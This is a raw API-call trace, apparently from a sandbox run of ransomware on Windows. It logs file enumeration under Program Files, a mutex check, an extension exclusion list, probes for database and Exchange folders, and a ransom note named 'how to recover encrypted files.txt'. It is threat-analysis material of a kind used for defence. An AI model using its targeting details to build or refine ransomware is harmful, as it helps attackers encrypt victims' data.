lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.921] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.921] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.921] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.921] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.921] GlobalLock (hMem=0x440004) returned 0x552180 [0045.921] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.921] GlobalUnlock (hMem=0x440004) returned 0 [0045.921] GlobalLock (hMem=0x440004) returned 0x552180 [0045.921] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.921] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.921] GlobalUnlock (hMem=0x440004) returned 0 [0045.921] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.921] GlobalUnlock (hMem=0x44000c) returned 0 [0045.921] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.922] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.922] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\da-DK\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.922] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.922] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.922] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.922] GlobalUnlock (hMem=0x44000c) returned 0 [0045.922] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.922] GlobalLock (hMem=0x440004) returned 0x553188 [0045.922] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.922] GlobalUnlock (hMem=0x44000c) returned 0 [0045.922] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.922] GlobalUnlock (hMem=0x440004) returned 0 [0045.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.923] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.923] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.923] GlobalLock (hMem=0x440004) returned 0x551178 [0045.923] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.923] GlobalUnlock (hMem=0x440004) returned 0 [0045.923] GlobalLock (hMem=0x440004) returned 0x551178 [0045.923] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.923] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.923] GlobalUnlock (hMem=0x440004) returned 0 [0045.923] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.923] GlobalUnlock (hMem=0x44000c) returned 0 [0045.923] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.923] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.923] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.923] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.923] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.923] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.923] GlobalUnlock (hMem=0x44000c) returned 0 [0045.923] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.923] GlobalLock (hMem=0x440004) returned 0x554190 [0045.923] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.923] GlobalUnlock (hMem=0x44000c) returned 0 [0045.923] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.923] GlobalUnlock (hMem=0x440004) returned 0 [0045.923] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.923] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.923] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.923] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.923] GlobalLock (hMem=0x440004) returned 0x552180 [0045.924] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.924] GlobalUnlock (hMem=0x440004) returned 0 [0045.924] GlobalLock (hMem=0x440004) returned 0x552180 [0045.924] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.924] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.924] GlobalUnlock (hMem=0x440004) returned 0 [0045.924] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.924] GlobalUnlock (hMem=0x44000c) returned 0 [0045.924] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.924] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.924] GetLastError () returned 0x12 [0045.924] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.924] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.924] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.924] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.924] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.924] GlobalUnlock (hMem=0x44000c) returned 0 [0045.924] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.924] GlobalLock (hMem=0x440004) returned 0x553188 [0045.924] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.924] GlobalUnlock (hMem=0x44000c) returned 0 [0045.924] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.924] GlobalUnlock (hMem=0x440004) returned 0 [0045.924] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.924] GlobalLock (hMem=0x440004) returned 0x551178 [0045.924] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.924] GlobalUnlock (hMem=0x440004) returned 0 [0045.924] GlobalLock (hMem=0x440004) returned 0x551178 [0045.924] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.924] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.925] GlobalUnlock (hMem=0x440004) returned 0 [0045.925] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.925] GlobalUnlock (hMem=0x44000c) returned 0 [0045.925] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.925] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned 1 [0045.925] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.925] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.925] GlobalUnlock (hMem=0x44000c) returned 0 [0045.925] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.925] GlobalLock (hMem=0x440004) returned 0x553188 [0045.925] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.925] GlobalUnlock (hMem=0x44000c) returned 0 [0045.925] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.925] GlobalUnlock (hMem=0x440004) returned 0 [0045.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0045.942] GetLastError () returned 0x3 [0045.942] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18권Q\x181")) returned 0xffffffff [0045.943] GetLastError () returned 0x2 [0045.943] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0045.944] GetLastError () returned 0x2 [0045.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0045.944] GetLastError () returned 0x2 [0045.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18뾴R\x18j")) returned 0xffffffff [0045.945] GetLastError () returned 0x2 [0045.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0045.945] GetLastError () returned 0x2 [0045.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0045.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0045.946] GetLastError () returned 0x2 [0045.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@븄R企@\x18?T\x18\x81")) returned 0xffffffff [0045.946] GetLastError () returned 0x2 [0045.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common 